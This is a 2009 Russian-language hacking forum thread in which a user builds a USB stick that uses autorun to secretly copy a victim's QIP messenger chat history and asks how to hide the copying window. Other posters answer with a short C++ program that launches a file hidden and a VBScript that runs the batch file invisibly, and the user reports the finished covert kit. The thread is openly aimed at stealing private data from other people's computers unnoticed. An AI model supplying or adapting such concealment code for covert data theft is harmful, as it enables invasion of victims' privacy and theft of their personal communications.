Как спрятать процесс копирования.

Discussion in 'Безопасность и Анонимность' started by space_ninja, 30 Jun 2009.

  1. space_ninja

    space_ninja Member

    Joined:
    25 Jun 2009
    Messages:
    6
    Likes Received:
    5
    Reputations:
    0
    Поставил себе задачу, сделать флешку предназначенную для стыривания инфы, для конкретики решил копировать хистори квипа. Получилось следующее:

    autorun.inf
    1.bat
    И забацал файлик чтобы двумя кликами менять свойства ауторана в Винде.
    autorun.reg
    Но вот проблема возникла, хочется окно процессом копирования скрыть.
    Реально ли такое штатными средствами Винды или все-таки кодить надо?
    [​IMG]
     
  2. \\ChaOs//

    \\ChaOs// Member

    Joined:
    26 Feb 2009
    Messages:
    102
    Likes Received:
    26
    Reputations:
    5
    Вот держи, набросал в с++

    тынц

    Синтаксис:
    Code:
    execute.exe "путь до файла\file"
    Пример:
    Code:
    execute.exe d:/autorun/1.bat
    Исходник:

    Code:
    #include "stdafx.h"
    #include "shellapi.h"
    
    
    int APIENTRY _tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPWSTR lpCmdLine,int nShowCmd)
    {
    if(*lpCmdLine)
    
    	ShellExecute(NULL,L"open",lpCmdLine,NULL,NULL,SW_HIDE);
    else
    {
    	MessageBox(NULL,L"Неверно заданы параметры.\nСинтаксис: execute.exe filename.",L"Ошибка",MB_ICONASTERISK);
    	return 1;
    }
     	return 0;
    }
     	
    
    Программа запускает файл с флагом HIDE, тоесть запущенный файл нигде кроме как в процессах не увидешь.
     
    #2 \\ChaOs//, 30 Jun 2009
    Last edited: 30 Jun 2009
  3. Huster

    Huster Member

    Joined:
    8 May 2009
    Messages:
    42
    Likes Received:
    18
    Reputations:
    0
    Вот есть такая программка которая bat в exe конвертирует и черное окошко скрывает. Скачать можно тут /showthread.php?t=75136 :)
     
    12 people like this.
  4. Lamia

    Lamia Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    186
    Likes Received:
    77
    Reputations:
    -9
    Не нужно бат!Чистое вин апи те поможет!
     
  5. Fepsis

    Fepsis Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    791
    Likes Received:
    391
    Reputations:
    72
    Реально... Юзай VBScript...
    Вообще можешь сделать всё своим же батником, но запустив его безпалевно через .vbs
    Code:
    Set WshShell = CreateObject("WScript.Shell") 
    WshShell.Run "cmd.exe /c 1.bat", 0, false 
    
     
  6. space_ninja

    space_ninja Member

    Joined:
    25 Jun 2009
    Messages:
    6
    Likes Received:
    5
    Reputations:
    0
    всем спасибо )
    решил через vbs сделать.

    в итоге имеем
    autorun.inf

    1.vbs

    1.bat
    reg_enable.reg
    и наличие папки desktop в корне флехи с правами на изменение.

    из всех действий требуется только запустить авторан, два раз кликнув по значку флехи в папке "мой компьютер", все средства штатные )

    Снимается убиванием процесса cmd.exe в диспетчере задач.

    Если ситуация специфичная, то достаточно запустить 1.vbs (ну или как вам его понравится назвать, это уже из раздела лирики))) или можно установить разрешение на запуск авторана запустив файл reg_enable.reg

    качать тут

    Вроде все ))
    если будут у кого-то еще идеи по совершенствования буду рад.

    пойду поприкалываюсь )
    всем респект и благодарности
     
    #6 space_ninja, 2 Jul 2009
    Last edited: 2 Jul 2009